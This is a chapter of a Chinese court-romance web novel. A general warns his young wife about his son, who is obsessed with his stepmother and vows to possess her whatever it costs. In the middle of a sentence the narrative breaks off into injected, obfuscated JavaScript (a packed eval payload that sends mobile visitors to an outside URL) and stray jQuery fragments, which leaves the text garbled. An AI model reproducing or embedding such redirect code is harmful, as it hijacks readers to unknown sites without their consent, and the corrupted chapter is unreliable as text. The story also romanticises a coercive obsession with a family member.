冬狩散了，众臣各自回府。
马车在碎石路面上辘辘前行，偶尔颠簸一下晃起车帘，暮色从车窗的缝隙里漏进来，落在叶菱馥的脚边，明明灭灭。
她坐在回府的马车上，桓霆和桓铮在外面骑马，与来时并骑交谈不同，此时二人一前一后，气氛冷峻。
她愣愣地看着脚尖，嬿儿在旁边叽叽喳喳地说话，一箩筐的话往外吐，叶菱馥却心不在焉，只想着桓铮今日一语惊人。
嬿儿还在一旁滔滔不绝，什么哪家夫人穿的是什么衣裳，谁家郎君同夫人夫妻恩爱，桓铮同黑熊搏斗的样子真是威风……
“嬿儿。”
“哎，女君有什么吩咐？”
叶菱馥轻叹一口气，捏了捏眉心：“让我静一静。”
嬿儿立刻噤声，将没说完的话全咽回去，偷偷观察叶菱馥的脸色。叶菱馥假装没看她的表情，靠在车壁闭上眼。
直到天色擦黑，马车停在将军府门口，她掀开车帘，冷风扑面而来，不禁打了个寒颤。
她正要扶着嬿儿下车，桓霆却不知何时下了马，先一步走到马车旁，手臂伸到叶菱馥面前。
叶菱馥一愣，桓霆上一回扶她下车，还是王夫人寿宴时，到大司马府上，当着外人的面做戏。
现在到了家，叶菱馥虽不明白桓霆为何又来扶，但自己毕竟是他的妻子，迟疑片刻，她还是搭上他的胳膊。
桓霆偏头看着叶菱馥，见她神色恹恹：“今日累着了？”
叶菱馥摇摇头：“还好。”
一只手放在她的后背上，轻轻推了一下，示意她进门。隔着衣衫，叶菱馥感觉到他的手心，好像比桓铮的更用力些。
身后有人翻身下马，靴子踩在石板地面上，脚步阵阵，定是桓铮无疑。但桓霆手上的力道不容置疑，她只得垂着眼往里走，将刚刚下马的桓铮抛在身后。
二人进了府门，绕过影壁，穿过前庭。
叶菱馥猜想桓霆肯定要去书房，便停下脚步，刚要开口说回后屋，话还没出口，便被桓霆叫住。
“夫人，你随我来。”撂下一句话，桓霆转身往正厅走去。
他在主位上落座，示意叶菱馥在他对身边坐下。
叶菱馥顺着他的意思落座，双手交叠放在膝上，烛光从侧面照过来，在她脸上投下淡淡的影子。
桓霆没急着开口，只顾盯着她看了片刻。
他这个妻子，今年不过十六岁，比桓铮还小两岁，做他的女儿都绰绰有余。
她太年轻，太鲜活，像一朵刚开了苞的花，不该被他这样的老树拖累。
因此他觉得愧疚，以为自己只要给她足够的体面，便能够弥补她错失的儿女情长。
但他忽略了，家里还有一个血气方刚，尚未娶妻的儿子。
“今日桓铮的话，你都听见了？”桓霆沉声道。
叶菱馥心中一颤：“听见了。”
“你怎么看？”
叶菱馥心乱如麻，她不明白桓霆为何要问自己这件事。
今日桓铮在御前失言，桓霆若要训斥儿子，大可直接把桓铮叫来教训一顿，何必要先来问她？
难不成，他看出什么了？
正厅十分安静，叶菱馥感觉到桓霆的目光落在她身上，像一块石头压着她。
她不敢抬头看他的神色，只盯着自己放在膝上的手指，指尖微微发白，掌心渗出薄汗。
“他今日顶撞了陛下，天家面前不知收敛，语出惊人，张扬轻浮……这是在找死。”
“陛下器重桓家，才不与他计较。可天威难测，今日不计较，明日呢？后日呢？他若再这般不知收敛，迟早要惹出祸事来，到时候连累的不止是他自己，还有整个将军府。”
桓霆顿了顿，目光如炬，盯着叶菱馥的侧脸：“当然，还有你。”
叶菱馥肩膀发僵，不知道该说什么，然而桓霆似乎也不指望她说什么。
他站起身，走到她面前，挡住烛光，将她整个人笼罩在他的阴影里：“夫人，你嫁入将军府，也有半年了。”
叶菱馥抬起头，对上他的目光，低声称是。
桓霆沉默了片刻，忽然伸手，覆住了她放在膝上的手。
叶菱馥的手指下意思蜷缩了一下，想抽走，却被他紧紧握住。
这还是桓霆第一回，在他们独处时触碰她。
他的手很粗糙，掌心和指腹上的老茧比桓铮的厚实许多，此刻正不轻不重地握着她的手，拇指在她手背上缓缓摩挲。
“你若是觉得府中冷清，可以多出去走动走动，找些相熟的夫人说说话，但行为一定要端正。”桓霆慢慢说着。
“尤其是……你与阿铮虽名分上是母子，但年岁相差不大，外头难免会有些闲言碎语。你做继母的，要拿捏好分寸。”
叶菱馥心头猛地一跳。
他说这话是什么意思？是在敲打她？还是在提醒她？
一瞬间，无数个念头在她脑中翻涌，可她又不得不回应桓霆的话，只得僵着脖子点头：“妾、妾明白。”
桓霆却没急着放开她的手，头又低下去不少，轻声道：“你真的明白？”
叶菱馥深吸一口气，唇舌发干，正要重复自己的话，外头忽然传来一声呼唤。
“父亲，小娘。”
二人转过头去，看见桓铮站在门口。
他不知什么时候来的，也不知在门外站了多久，廊下的灯笼光从他背后照过来，将他的面容笼在阴影里，只勾勒出他身形的大致轮廓。
他面无表情，目光从桓霆身上扫过，而后经过叶菱馥，最终落在两人交握的手上。
叶菱馥下意识地用力，将自己的手从桓霆手中扯出，缩回袖子里。
桓霆皱了皱眉，似乎有些不悦，但并未发作。
他缓缓转过身，双手负在身后，看向桓铮：“什么事？”
桓霆终于退后，叶菱馥如蒙大赦，站起身朝他屈膝行了个礼，低声道：“将军和郎君若有话说，妾便先回去了。”
话落，她便快速从正门出去，同桓铮擦肩而过，落荒而逃。
正厅只剩下父子二人，桓铮慢慢走进去，坐在了叶菱馥刚坐过的位置。
椅子上还残留着幽微的香气，他手指不动声色地在扶手上轻轻摩挲，仿佛还能触碰到她身体的余温。
桓霆站在原地，居高临下地看着桓铮：“你今天在御前说的那些话，是在找死。”
“儿子不过是如实回禀陛下。”桓铮仰头看他，对父亲语气中的怒意充耳不闻。
“如实？”桓霆冷笑一声，“什么叫日日可见却永远碰不得？你这话是说给陛下听的，还是说给什么人听的？”
“父亲觉得臣是说给谁听的？”桓铮不知死活地反问。
正堂里落针可闻。烛火跳了跳，在墙上投下两道对峙的影子。
桓霆忽然觉得儿子十分陌生，竟彻底丧失礼义廉耻，悲怆先于愤怒，涌入胸腔：“你母亲若是泉下有知，看见你今日这副不成器的样子，怕是要后悔当年拼了命把你生下来。”
这话像一把匕首，直直捅进桓铮心口，比受过的任何皮肉伤痛上千倍万倍。
他的脸瞬间变得煞白，过了好一阵子，才慢慢开口：“我知道，我对不住母亲。”
骤然提起那一位，桓霆心头也不好受，还想再骂桓铮两句，酝酿许久，终究只叹了口气：“滚回你自己的院子反省。”
---
夜已经很深了，更深露重。
桓铮在自己房中坐着，没点火盆也不觉冷，脑海总不住地想着，方才在正厅中，看见桓霆站在叶菱馥面前，二人双手交握。
他的手覆在她手上，拇指在她手背上缓缓摩挲。而她低着头，露出半截白皙的后颈，姿态柔顺。
他们在做什么？在说什么？为什么她的手没有抽开？
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557012|202665||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和父亲，到底有没有过？
水汽氤氲，烛影摇红，她散着头发躺在床上，露出锦被的肩膀白得发亮。
桓霆站在她面前，慢慢靠近，俯下身去，做着一切他做梦都不敢细想的事。
凭什么？
桓铮猛地睁开眼，将桌上的茶盏狠狠扫落在地。
瓷器碎裂的声音在房间里炸开，尖锐刺耳，碎瓷片四散飞溅，擦过他的手背，划出一道细细的血痕。
“郎君，您怎么了！”朔函闻声，风一样破门而入。
桓铮没回他。
他站在一地碎瓷和酒渍中间，低着头，肩膀由于剧烈呼吸上下起伏。烛光照在他身上，将他的影子投射在斑驳的墙壁上，扭曲又拉长。
“他凭什么命令我收敛？分明是他捷足先登，偷走了我的幸福！他不根本不懂她，不爱她！”
桓铮双目血红，血珠子顺着指缝往下淌，滴在地上晕开，他却视若无睹。
“叶菱馥本就应是我的爱侣、我的妻子、我的珍宝！”
“她是我的，我的！”
朔函站在原地不知所措，愣愣地看着桓铮低吼，一时竟忘了阻拦，他从未见过自家郎君这副模样。
桓铮之前也会吃醋，疯狂，但这次占有欲冲昏了头脑，他坦然撕去自己所有克制，露出心头最赤裸、最灼热的、最疯狂的妄念。
他站在一地狼藉中间，声音几乎嘶哑，双目血红：“朔函，你说，从古到今，有没有人娶过自己的继母？”
朔函脊背发凉，下巴差点掉到地上，过了好半天才找回自己的声音：“郎君……那是……那是大不韪，是要遗臭万年的……”
“好，好得很。”桓铮凉薄一笑。
他低下头，看了一眼自己手背上的血痕，伸出红舌，缓缓舔掉指缝里的一缕血迹：“只要能得到她，即便遗臭万年，又有何妨？”
“这事若是传出去，您的前程，将军府的名声，还有女君……女君她……”
桓铮打断他：“那又如何？你以为她比我冷静吗？你以为她还是那个循规蹈矩的继母吗？她若真是问心无愧，这几日又怎会主动来给我换药？怎会任由我随意靠近而不像之前一样躲开？”
朔函张着嘴，只觉得喉咙发干。
他家郎君，怕是被嫉妒烧糊涂了脑袋，出了毛病。
桓铮走到窗边一把推开，云开月明，月光照在院子里的积雪上，映出一片惨淡的白。
“我不会再给她后退的机会了。”
天理伦常，人言可畏。
幼时太傅教的圣贤书，朝堂上冠冕堂皇的说辞，史书上那些遗臭万年的前车之鉴……他掰开揉碎了一点点咀嚼，嚼到最后，发现它们加起来，也没有她这个人重。
他要她。
这个念头很早便有，在无数个辗转难眠的夜里生根发芽，在他每一次看到她时疯狂地抽枝长叶。
他曾经试图将这棵树砍掉，用礼法、用伦常、用所有冠冕堂皇的理由把它连根拔起，但屡次以失败告终后，干脆决定慢慢渗透，在漫长的日子中，成为留在她身边时间最长的人。
但如今，这棵树已经长成了参天之势，根须扎进他的五脏六腑，和命脉长在了一起。不论是砍，还是等，都是在他心上剜刀子。
他等不及了，他要立刻，把生米煮成熟饭。
把她变成他的人，彻彻底底的，任谁也无法否认、无法改变、无法夺走。
让她浑身上下都沾上他的气息，让她那张脸上露出只有他一个人能看见的神情，让她在夜深人静的时候只能想他。
等到了那一天，他再站在桓霆面前，把这些年的隐忍、渴望、嫉妒、愤怒、贪婪，一桩桩一件件，全都甩在他面前。
管他是谁，哪怕是他的亲生父亲，谁拦在他和她之间，他都要一并碾碎。
道德、伦常、名声、前途——他全都可以不要。
他只要她。